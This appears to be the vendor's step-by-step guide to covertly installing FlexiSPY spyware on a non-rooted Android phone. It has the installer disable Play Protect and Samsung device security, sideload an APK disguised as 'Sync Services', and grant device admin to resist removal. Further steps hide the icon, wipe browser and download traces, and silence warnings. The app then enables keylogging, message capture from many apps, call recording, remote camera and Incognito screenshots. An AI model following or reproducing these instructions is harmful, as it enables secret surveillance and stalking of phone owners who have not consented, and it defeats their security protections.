Install FlexiSPY on Non-Rooted Android
BEFORE YOU START
- Check OS compatibility here.
- Be sure you have any passwords necessary to access the phone after a restart.
- Installation steps may vary depending on device.
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Prerequisites
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Disable Security Settings
Open Play Store and tap the Profile icon
Tap Play Protect
Tap Settings at the top right
Turn OFF the below options
- Scan apps with Play Protect
- Improve harmful app detection
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Enable Unknown Sources
For Android OS 9 and Above, go to Settings, search for Special app access > Tap Special app access > Tap on Install unknown apps > Select browser that you will be using for download software. For example: if you are using Chrome for download, tap Chrome and enable Allow from this source.
For Android OS 8, go to Settings, search for Install unknown apps and tap on the browser that you will be using for download software. For example: if you are using Chrome for download, tap Chrome and enable Allow from this source.
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Enable Unknown Sources
For Android OS 9 and Above, Go to Settings > search for 'Special access' > Tap Install unknown apps and tap on the browser that you will be using for download software. For example: if you are using Chrome for download, tap Chrome and enable Allow from this source.
For Android OS 8, Go to Settings > search for 'Install unknown apps' > Tap on Install unknown apps > and tap on the browser that you will be using for download software. For example: if you are using Chrome for download, tap Chrome and enable Allow from this source.
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Enable Unknown Sources
Go to Settings > Advanced settings > Security and make sure Unknown Sources is enabled.
For Android OS 8 and Above, go to Settings > security > more settings > install apps from external sources and tap on the browser that you will be using for download software. For example: if you are using Chrome for download, tap Chrome and enable Allow from this source.
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Enable Unknown Sources
Go to Settings, search for Special app access > Tap Special app access > Tap on Install unknown apps > Select browser that you will be using for download software. For example: if you are using Chrome for download, tap Chrome and enable Allow from this source.
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Disable Device Security (Samsung Devices only, Android OS 7 and Above)
For Android OS 11 Devices and Above Go to Settings > Apps, then Tap Device care > Storage > Manage Storage > Clear data
For Android OS 7-10 Devices Go to Settings > Apps, tap
(three dot icon on the top right), then tap Show system apps > Device security > Storage > Clear data > Delete/ OK
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Disable Google Play Store Notifications
This is to avoid warnings which may otherwise randomly appear. Disabling Notifications does not disable Play Store or prevent normal app updates.
For Android OS 14: Go to Settings > Notifications > App Notification > Google Play Store and tap the slider to disable it. Tap on Google Play Store to open the menu and confirm Notification are disabled.
For Android OS 9 - 13: Go to Settings > Notifications (click “see all”) > Google Play Store, and tap the slider to disable it. Tap on Google Play Store to open the menu and confirm Notification are disabled.
For Android OS 8 and Below: Go to Settings > Apps & Notifications > Notifications (scroll down to Google Play Store), and tap the slider so it reads “Off”.
Important Note
Some Devices may have slightly different navigation to the Notifications menu.
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Disable Google Play Store Notifications
This is to avoid warnings which may otherwise randomly appear. Disabling Notifications does not disable Play Store or prevent normal app updates.
For Android OS 8 and Above: Go to Settings > Apps > Tap Apps (scroll down to Google Play Store) > Notifications, and tap the slider so it reads “Off”.
Important Note
Some Devices may have slightly different navigation to the Notifications menu.
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Disable Google Play Store Notifications
This is to avoid warnings which may otherwise randomly appear. Disabling Notifications does not disable Play Store or prevent normal app updates.
For Android OS 14 and Above: Go to Settings > Notifications > App Notification > Google Play Store and tap the slider to disable it. Tap on Google Play Store to open the menu and confirm Notification are disabled.
For Android OS 12 - 13: Go to Settings > Apps (click “see all”) > Google Play Store > Notifications, and tap the slider to disable it.
For Android OS 9 - 11: Go to Settings > Apps & Notifications (click “see all”) > Google Play Store > Notifications, and tap the slider to disable it.
For Android OS 8 and Below: Go to Settings > Apps & Notifications > Notifications (scroll down to Google Play Store), and tap the slider so it reads “Off”.
Important Note
Some Devices may have slightly different navigation to the Notifications menu.
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Disable Google Play Store Notifications
This is to avoid warnings which may otherwise randomly appear. Disabling Notifications does not disable Play Store or prevent normal app updates.
For Android OS 9 and Above: Go to Settings > Notifications > Google Play Store > Show notifications and turn OFF
Installing the software (unrooted version)
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Download the Application
Open up your phone internet browser and navigate to the website https://djp.bz/. At the Private Software Repository screen, add a check in the box for “I am a customer and I have a license code”, then tap View all software. Tap on the Android icon to start the download. Once the download has completed tap the file to begin installation.
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Software Installation
Tap Install. Once installation has completed, tap Open when the option appears.
Important Note
If you cannot tap Open and can only tap Done, this indicates the software is already installed. If you are reinstalling the software, you must first uninstall the previous version.
To uninstall the previous version, go to Settings > Application Manager > com.android.system.service or sync services (for software version 4.0.3 and Above) and tap Uninstall. We recommend restarting the phone after uninstalling. You may then start a new installation.
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Software Installation
Tap Install. Once installation has completed, tap Open when the option appears.
Important Note
If you cannot tap Open and can only tap Done, this indicates the software is already installed. If you are reinstalling the software, you must first uninstall the previous version.
To uninstall the previous version, go to Settings > Application Manager > com.android.system.service or sync services (for software version 4.0.3 and Above) and tap Uninstall. We recommend restarting the phone after uninstalling. You may then start a new installation.
Samsung Warning Dialog
If when installing, you see an error that the app cannot be installed, you will need to perform the following steps:
- On the phone use Google Playstore to search for and install 'APK Installer by Uptodown'
- Open the app and grant the required permissions
- Tap 'install apps' then locate the file you downloaded earlier from https://djp.bz/
- Tap 'Install' and proceed to the next step below
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Accept Installation Terms
Tick I accept license agreement and then tap Continue
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Activate Device Administrator
This grants the software additional local permissions making it more secure and less likely to be uninstalled.
Tap Activate this device admin app to continue.
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Activate Device Administrator
This grants the software additional local permissions making it more secure and less likely to be uninstalled.
Tap Activate to continue.
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Activate Device Administrator
This grants the software additional local permissions making it more secure and less likely to be uninstalled.
Tap Activate to continue.
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Activate Device Administrator
This grants the software additional local permissions making it more secure and less likely to be uninstalled.
Tap Activate this device admin app to continue.
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Grant Permission
You will be asked to grant a series of permissions. Tap “Allow” on all prompts
- For “Location” permission, Tap “Allow in settings” and Tick “Allow all the time”
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Grant Permission
You will be asked to grant a series of permissions. Tap “Allow” on all prompts
- For “Location” permission, Tap “Allow in settings” and Tick “Allow all the time”
- (For Android OS 15 Only) For SMS permission, a “App was denied access to SMS” pop-up will appear, Tap OK
- Important Note: For SMS capturing to function you'll need to enable Accessibility which we will do later in the guide (Step 10)
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Allow App to Run in Background
Tap on “Allow” to let the software continuously run in the background without being terminated.
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Battery Optimization
Tap on “Allow” to let the software continuously run in the background without being terminated.
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Activation Code & Visibility
Enter your license code and tap Activate. Please wait as the software activates. You will then be asked to set your software visibility.
Tap Yes to hide the software icon otherwise Tap No.
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Clear Browser
In the phone browser you used in Step 1, you can delete the browser URL history. Tap the browser menu button and then tap Settings > Privacy and security > Delete browsing data. Make sure the options for Browser History, Cache, and Cookies and Site Data are selected, then tap Delete.
Important Note
Steps may vary depending on the browser being used.
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Clear Browser
In the phone browser you used in Step 1, you can delete the browser URL history. Tap the browser menu button and then tap Settings > Privacy and security > Delete browsing data. Make sure the options for Browser History, Cache, and Cookies and Site Data are selected, then tap Delete.
Important Note
Steps may vary depending on the browser being used.
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Clear Browser
In the phone browser you used in Step 1, you can delete the browser URL history. Tap the browser menu button and then tap Settings > Privacy and Security > Clear browsing Data. Make sure the options for Browser History, Cache, and Cookies and Site Data are selected, then tap Clear data.
Important Note
Steps may vary depending on the browser being used.
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Clear Browser
In the phone browser you used in Step 1, you can delete the browser URL history. Tap the browser menu button and then tap Settings > Privacy and security > Clear browsing data. Make sure the options for Browser History, Cache, and Cookies and Site Data are selected, then tap Delete.
Important Note
Steps may vary depending on the browser being used.
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Clear Download History
To delete the downloaded file, press the Home button to return to the app list, and choose the My Files browser. Tap Download History/ Downloads. Select the downloaded file, then tap the Trash icon to delete the installation file from the phone. Tap Delete to confirm.
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Enable Accessibility
(Required to enable the following features: App Screenshots, Snapchat, WhatsApp, FB Messenger, Viber, Google Messages, Tinder, Instagram, Keylogger, Gmail, Call Recording, VoIP Call Recording and Browsing Activity)
Enabling accessibility does not change how the keyboard looks or works and is simply a name added to configure the software discreetly.
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For Android OS 13 Devices and Above:
- Go to Settings > Accessibility > tap Accessibility > in the Restricted Settings pop-up, tap Ok
- Go to Settings > Apps > find then tap 'Sync Service' > tap the three vertical dots on the corner of the screen > Allow restricted settings > Confirm
- Next, Go to Settings > Accessibility > under Downloaded Apps tap Accessibility > Toggle Use Accessibility to ON > Tap Allow
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For Android OS 12 Devices and Below:
Go to Settings > Accessibility > tap Accessibilitys under DOWNLOADED APPS and make sure Use Accessibility is enabled.
(For All Android Versions) Required settings for FB Messenger
- Open FB Messenger app
- Tap profile picture on the top left
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Scroll down to Bubbles/Chat Heads, then select None.
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For Android OS 13 Devices and Above:
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Enable Accessibility
(Required to enable the following features: App Screenshots, Snapchat, WhatsApp, FB Messenger, Viber, Google Messages, Tinder, Instagram, Keylogger, Gmail, Samsung Email, Call Recording, VoIP Call Recording and Browsing Activity)
Enabling accessibility does not change how the keyboard looks or works and is simply a name added to configure the software discreetly.
- For Android OS 14:
- Go to Settings > Accessibility > Installed apps > Tap Accessibility > in the Restricted Settings pop-up, tap Ok
- Go to Settings > Apps > find then tap 'Sync Service' > tap the three vertical dots on the corner of the screen > Allow restricted settings
- Next, Go to Settings > Accessibility > Installed apps > Tap Accessibility > Toggle Accessibility to ON > Tap Allow
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For Android OS 12 - 13: Go to Settings > Accessibility > Installed apps and make sure Accessibility is enabled.
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For Android OS 9 - 11: Go to Settings > Accessibility > Installed services and make sure Accessibility is enabled.
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For Android OS 8 and Below: Go to Settings > Accessibility, scroll down to Services and make sure Accessibility is enabled.
(For All Android Versions) Required settings for FB Messenger
- Open FB Messenger app
- Tap profile picture on the top left
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Scroll down to Bubbles/Chat Heads, then select None.
- For Android OS 14:
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Enable Accessibility
(Required to enable the following features: App Screenshots, Snapchat, WhatsApp, FB Messenger, Viber, Google Messages, Tinder, Instagram, Keylogger, Gmail, Call Recording, VoIP Call Recording and Browsing Activity)
Enabling accessibility does not change how the keyboard looks or works and is simply a name added to configure the software discreetly.
- Go to Settings > Accessibility features/ Smart assistance > Accessibility, scroll down to the bottom and make sure Accessibility is enabled.
Required settings for FB Messenger
- Open FB Messenger app
- Tap profile picture on the top left
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Scroll down to Bubbles/Chat Heads, then select None.
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Enable Accessibility
(Required to enable the following features: App Screenshots, Snapchat, WhatsApp, FB Messenger, Viber, Google Messages, Tinder, Instagram, Keylogger, Gmail, Call Recording, VoIP Call Recording and Browsing Activity)
Enabling accessibility does not change how the keyboard looks or works and is simply a name added to configure the software discreetly.
- For Android OS 13:
- Go to Settings > Accessibility > tap Accessibility > in the Restricted Settings pop-up, tap Ok
- Go to Settings > Apps > find then tap 'Sync Service' > tap the three vertical dots on the corner of the screen > Allow restricted settings
- Next, Go to Settings > Accessibility > under Downloaded Apps tap Accessibility > Toggle Use Accessibility to ON > Tap Allow
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For Android OS 9 - 12: Go to Settings > Additional settings > Accessibility > More downloaded services > Accessibility and turn ON
Required settings for FB Messenger
- Open FB Messenger app
- Tap profile picture on the top left
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Scroll down to Bubbles/Chat Heads, then select None.
- For Android OS 13:
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(Huawei only)Battery Settings
For Huawei Android OS 9 and Above | EMUI 9-10, go to Settings > Battery
- Switch off "Power Saving"
- Switch off "Ultra Power Saving"
- Click on "App launch"
- Make sure that "Sync Services" option is set to "Manage Manually"
For Huawei Android 8 or 7 | EMUI 5, go to Settings > Battery
- Switch off "Power Saving"
- Switch off "Ultra Power Saving"
- Click on Settings icon
- Switch off “Power-intensive prompt”
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Grant SMS permissions (Android OS 15 Only)
Go to Settings > Apps > Sync Services, Tap Permission, Scroll down and tap SMS and tap on "Allow"
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Disable App Notifications
1. Go to Settings > Apps > Manage apps > Sync Services
- Tap Notifications and turn OFF, then press back
2. Go to Settings > Privacy Protection > Special Permissions > Display over other apps > Sync Services
- Turn ON Allow display over other apps
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Disable App Notifications
Go to Settings > Apps > Sync Services
- Scroll down and tap Notifications and turn OFF, press back
- Scroll down and tap Appear on top and turn ON
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Disable App Notifications
Go to Settings > Apps > Apps > Sync Services
- Tap Notifications and turn OFF, press back
- Scroll down and tap Draw over other apps and turn ON
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Disable App Notifications
Go to Settings > Apps & notifications > see all apps > Sync Services
- Tap Notifications and turn OFF, press back
- Scroll down and tap Advanced > Display over other apps and turn ON
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Disable Battery Notification
Go to Settings > Apps > Manage apps > and tap
(three dot icon on the top right), then tap Show all apps > Android System- Tap Notifications
- Scroll down and tap Apps consuming battery and turn OFF
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Disable Battery Notification (Android OS 10 and Below only)
Go to Settings > Apps > and tap
(three dot icon on the top right), then tap Show system apps > Android System- Tap Notifications
- Scroll down and tap Apps consuming battery and turn OFF
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Disable Battery Notification
Go to Settings > Apps > and tap Apps > and tap
(three dot icon on the top right), then tap Show system processes > Android System
- Tap Notifications
- Scroll down and tap Apps consuming battery and turn OFF
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Disable Battery Notification
Go to Settings > Apps & notifications > see all apps > and tap
(three dot icon on the top right), then tap Show system > Android System- Tap Notifications
- Scroll down and tap Apps consuming battery and turn OFF
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Enabling RemCam
Go to Settings > Apps > Manage apps > Sync Services
- Tap Other permissions and tick the following options
- Show on Lock screen
- Display pop-up windows while running in the background
- Display pop-up window
- Tap Other permissions and tick the following options
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Enabling VoIP Call Recording (Android OS 10 and Above)
To record VoIP Calls on Android OS 10 and Above, please do the following.
1. Ensure Notifications for desired applications are turned ON
Go to Settings > Apps > Manage apps (For each app: WhatsApp, Skype, FB Messenger, Line, Viber, Hangouts, ensure notification is turned ON)
2. Grant Special Access to ‘Sync Services’
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For Android OS 13: Go to Settings > search for 'Special app access' > Tap 'Special app access' > Tap 'Device & app notifications' > Sync Services > Allow notification access.
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For Android OS 12 and Below: Go to Settings > search for 'Special app access' > Tap 'Special app access' > Tap 'Notification access' > Sync Services turn ON
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Enabling VoIP Call Recording (Android OS 10 and Above)
To record VoIP Calls on Android OS 10 and Above, please do the following.
1. Ensure Notifications for desired applications are turned ON
For Android OS 14 Devices: Go to Settings > Notifications > App Notifications (For each app: WhatsApp, Skype, FB Messenger, Line, Viber, Hangouts, ensure notification is turned ON)
For Android OS 11 - 13 Devices: Go to Settings > Notifications > More > All (For each app: WhatsApp, Skype, FB Messenger, Line, Viber, Hangouts, ensure notification is turned ON)
For Android OS 10 Devices: Go to Settings > Notifications > See all (For each app: WhatsApp, Skype, FB Messenger, Line, Viber, Hangouts, ensure notification is turned ON)
2. Grant Special Access to ‘Sync Services’
Go to Settings > search for 'Special access' > Tap on Notification access > Sync Services turn ON
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Enabling VoIP Call Recording (Android OS 10 and Above)
To record VoIP Calls on Android OS 10 and Above, please do the following.
1. Ensure Notifications for desired applications are turned ON
Go to Settings > Apps & Notifications > See all (For each app: WhatsApp, Skype, FB Messenger, Line, Viber, Hangouts, ensure notification is turned ON)
2. Grant Special Access to ‘Sync Services’
Go to Settings > search for 'Notification access' > Sync Services turn ON
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Enabling VoIP Call Recording (Android OS 10 and Above)
To record VoIP Calls on Android OS 10 and Above, please do the following.
1. Ensure Notifications for desired applications are turned ON
Go to Settings > Apps & Notifications > See all (For each app: WhatsApp, Skype, FB Messenger, Line, Viber, Hangouts, ensure notification is turned ON)
2. Grant Special Access to ‘Sync Services’
For Android OS 15, Go to Settings > search for 'Special app access' > tap 'Special app access' > Tap 'Notifications read, reply & control' > Sync Services > Allow notification access.
For Android OS 12-14, Go to Settings > search for 'Special app access' > tap 'Special app access' > Tap 'Device & app notifications' > Sync Services > Allow notification access.
For Android OS 10-11, Go to Settings > search for 'Special app access' > Tap 'Special app access' > Tap 'Notification access' > Sync Services turn ON
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(Huawei only) Post Installation Steps
For all Huawei Devices, please carry out the following post installation steps.
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Enabling Spycall
To enable Spycall, carry out the post-installation steps (Currently supports Samsung Devices running Android OS 7 and Above ONLY)
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Suppress indicators (Android OS 12 and Above only)
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Configure App Screenshots
1. Enable Usage Tracking
Open Settings > search for 'Special app access' > tap 'Usage access' > 'Sync Services' > Permit usage access > turn ON
2. Allow App screenshots to capture Google Chrome Incognito Mode (read this)
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Configure App Screenshots
1. Enable Usage Tracking
Open Settings > Apps > Apps > tap the 3 dots > tap Special access > Usage information Access > 'Sync Services' > Allow usage access > turn ON
2. Allow App screenshots to capture Google Chrome Incognito Mode (read this)
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Configure App Screenshots
1. Enable Usage Tracking
Open Settings > Apps > tap the 3 dots > Special access > Usage data access > 'Sync Services' > Allow usage tracking > turn to ON
2. Allow App screenshots to capture Google Chrome Incognito Mode (read this)
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Configure App Screenshots
1. Enable Usage Tracking
Open Settings > Apps > Special app access > Usage access > 'Sync Services' > Permit usage access > set to ON
2. Allow App screenshots to capture Google Chrome Incognito Mode (read this)
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